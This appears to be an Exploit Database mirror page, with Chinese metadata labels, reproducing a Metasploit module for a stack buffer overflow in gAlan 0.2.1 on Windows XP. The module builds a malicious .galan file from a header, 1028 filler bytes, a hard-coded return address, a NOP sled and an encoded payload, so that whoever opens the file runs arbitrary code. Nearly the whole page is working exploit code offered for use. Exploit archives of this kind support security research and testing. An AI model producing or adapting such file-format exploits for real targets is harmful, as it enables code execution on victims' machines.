gAlan 0.2.1 – Local Buffer Overflow (Metasploit) (2)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-09-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16664/

• ##
  # $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
  			'Description' => %q{
  				This module exploits a stack buffer overflow in gAlan 0.2.1
  			By creating a specially crafted galan file, an an attacker may be able
  			to execute arbitrary code.
  			},
  			'License' => MSF_LICENSE,
  			'Author' =>
  				[
  					'Jeremy Brown <0xjbrown41 [at] gmail.com>',
  					'loneferret',
  				],
  			'Version' => '$Revision: 10477 $',
  			'References' =>
  				[
  					[ 'OSVDB', '60897' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'DisablePayloadHandler' => 'true',
  				},
  			'Payload' =>
  				{
  					'Space' => 1000,
  					'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets' =>
  				[
  					[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], 		# 0x100175D0 call esi @ glib-1_3
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Dec 07 2009',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']),
  			], self.class)
  	end
  
  
  	def exploit
  
  		sploit = "Mjik"
  		sploit << rand_text_alpha_upper(1028)
  		sploit << [target.ret].pack('V')
  		sploit << "\x90" * 45
  		sploit << payload.encoded
  
  		print_status("Creating '#{datastore['FILENAME']}' file ...")
  		file_create(sploit)
  
  	end
  
  end